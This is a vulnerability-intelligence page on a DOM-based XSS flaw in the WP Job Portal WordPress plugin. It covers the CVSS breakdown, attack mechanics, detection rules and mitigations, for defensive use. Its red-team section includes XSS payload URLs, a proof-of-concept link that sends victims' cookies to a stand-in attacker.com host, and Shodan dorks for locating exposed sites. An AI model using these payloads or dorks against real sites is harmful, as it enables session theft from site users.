☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpjobportal logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-35760

CVE-2024-35760 Cross-Site Scripting in Wpjobportal
📅 PUBLISHED: 2024-06-21 13:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-35760 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WP Job Portal WordPress plugin (versions <= 2.1.3). This vulnerability allows an attacker to inject malicious scripts into a web page through improper neutralization of user input during web page generation. The attack is executed on the client side (DOM), meaning the payload is processed by the victim's browser without being sent to the server. The CVSS score of 5.9 (Medium) reflects the need for user interaction and the potential for partial impact on confidentiality, integrity, and availability. As a WordPress plugin vulnerability, it affects sites running the WP Job Portal plugin and does not involve Apache or Nginx server-level issues. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WP Job Portal WordPress plugin, which is distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress plugin, it is not part of standard package managers like NPM, PyPI, Go, or Ruby. However, the supply chain risk includes:

  • Plugin Updates: The vendor (wpjobportal) has not released a patch, leaving all versions <= 2.1.3 vulnerable.
  • Third-Party Dependencies: The plugin may rely on JavaScript libraries (e.g., jQuery) that could be exploited if outdated.
  • Distribution Channels: Users downloading from unofficial sources may receive tampered versions.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a crafted link or visit a malicious page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited data modification.
  • Availability (A): Low – Limited service disruption.

Threat Level: Medium. The vulnerability requires user interaction, but the lack of a patch and the widespread use of WordPress plugins increase the risk.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the WP Job Portal plugin. Unlike reflected or stored XSS, DOM-Based XSS occurs entirely on the client side. The plugin's JavaScript code reads user-controllable data from the DOM (e.g., document.location, document.URL, or window.name) and writes it back to the DOM without proper sanitization.

Attack Flow:

  1. An attacker crafts a malicious URL containing a JavaScript payload in a fragment or query parameter (e.g., https://victim.com/wp-job-portal/#<script>alert(1)</script>).
  2. The victim clicks the link, which loads the vulnerable page.
  3. The plugin's JavaScript reads the fragment identifier (#) and injects it into the DOM (e.g., via innerHTML or document.write).
  4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform actions on behalf of the victim.

Root Cause: The plugin fails to sanitize or encode user input before using it in DOM manipulation functions. Common sinks include eval(), innerHTML, document.write, and setTimeout().

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's JavaScript files (e.g., wp-job-portal.js). A typical vulnerable pattern:

Vulnerable Code (JavaScript):

var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

Patched Code (Hypothetical):

var hash = window.location.hash.substring(1);
var safeHash = document.createTextNode(hash);
document.getElementById('output').appendChild(safeHash);

The patched version uses createTextNode() to safely encode the input, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with WP Job Portal <= 2.1.3 installed.
  • A victim user with a modern browser.

Exploit Steps:

  1. Identify a vulnerable endpoint (e.g., a page that uses window.location.hash).
  2. Craft a malicious URL:
    https://victim.com/wp-job-portal/#<img src=x onerror=alert(document.cookie)>
    
  3. Send the link to the victim via phishing email or social engineering.
  4. When the victim clicks the link, the script executes in their browser.

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="https://victim.com/wp-job-portal/#<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">Click me</a>

Blue Team (Detection & Defense)

Detection:

  • Monitor web logs for requests containing <script> or onerror in the URL fragment.
  • Use browser-based security headers (e.g., Content-Security-Policy) to block inline scripts.

Defense:

  • Disable the WP Job Portal plugin until a patch is available.
  • Implement a Web Application Firewall (WAF) rule to block malicious fragments.
  • Educate users about phishing links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing #<script> or #<img in the fragment.
    • Outbound connections to attacker-controlled domains from the victim's browser.
  • Host IOCs:
    • Unusual JavaScript execution in the browser console.
    • Modified DOM elements (e.g., injected <script> tags).
  • File IOCs:
    • Plugin files: wp-content/plugins/wp-job-portal/js/wp-job-portal.js (version <= 2.1.3).

Detection Engineering

YARA Rule

rule CVE_2024_35760_WP_Job_Portal_DOM_XSS {
    meta:
        description = "Detects vulnerable WP Job Portal plugin files with DOM XSS patterns"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-35760"
    strings:
        $sink1 = ".innerHTML" nocase
        $sink2 = ".outerHTML" nocase
        $sink3 = "document.write" nocase
        $sink4 = "eval(" nocase
        $source1 = "location.hash" nocase
        $source2 = "location.search" nocase
    condition:
        (any of ($sink*)) and (any of ($source*))
}

Sigma Rule

title: CVE-2024-35760 WP Job Portal DOM XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential DOM XSS exploitation attempts against WP Job Portal
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with HTML tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35760 WP Job Portal DOM XSS Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-35760 WP Job Portal DOM XSS Attempt - img onerror"; content:"#<img"; http_uri; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: Deactivate and uninstall WP Job Portal until a patch is released.
  2. Web Application Firewall (WAF): Deploy rules to block requests containing <script> or onerror in URL fragments.
  3. Content Security Policy (CSP): Add the following header to block inline scripts:
    Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
    

Long-Term Fix:

  • Monitor the vendor's website for a patched version (>= 2.1.4).
  • Apply the patch as soon as it becomes available.
  • Conduct a security audit of all WordPress plugins.

Workaround:

  • If the plugin is critical, implement a reverse proxy that sanitizes URL fragments before passing them to the application.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Job Portal"
http.html:"wp-job-portal"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-35760/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.